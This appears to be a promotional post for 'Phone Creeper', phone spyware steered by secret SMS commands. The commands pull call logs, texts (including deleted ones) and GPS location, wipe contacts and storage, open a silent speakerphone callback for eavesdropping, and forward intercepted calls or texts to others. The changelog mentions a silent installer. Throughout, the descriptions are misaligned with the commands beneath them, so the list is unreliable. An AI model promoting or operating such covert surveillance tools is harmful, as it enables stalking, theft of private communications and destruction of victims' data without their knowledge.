Phone Creeper is a phone espionage suite.

Currently it has the following features:

To receive call history, send the following text to phone with this installed on it:
chetstriker getloc
To get gps location and google maps link:
chetstriker deleteaccts
Deletes Contacts, Appointments, Task:
chetstriker help
Displays command list:
chetstriker getcalls
To receive incoming SMS mesages:
chetstriker getrecsms
To receive sent SMS messages:
chetstriker getsentsms
To delete all SMS messages:
chetstriker delallsms
To delete received SMS messages:
chetstriker delrecsms
To delete sent SMS messages:
chetstriker delsentsms
To wipe your storage card:
chetstriker wipeflash
To send a fart:
chetstriker fart
To send a pop-up message:
chetstriker message “insert msg here, without quotes”
To create a silent callback through remote speakerphone:
chetstriker callback
To bounce sms off phone to someone else:
chetstriker bounce sms “phone number to send to” “message to send”
To send your eaves droping call to someone else:
chetstriker bounce call “phone number to send to” “message to send”
To change password:
chetstriker change “newpassword”

Changes:

* Not case sensitive anymore
* getrecsms now gets a hidden local copy of received sms messages, so even deleted message show.
* Fixed all SMS and Call histories to sort by date in descending order.
* getloc command now returns gps location and a google maps link to display them on a map.
* deleteaccts option wipes all Contacts, Appointments and Tasks on PDA not SIM.
* New silent installer option and Creeper Removal tool.
* Added help command to receive command list.

http://forum.xda-developers.com/showthread.php?t=527423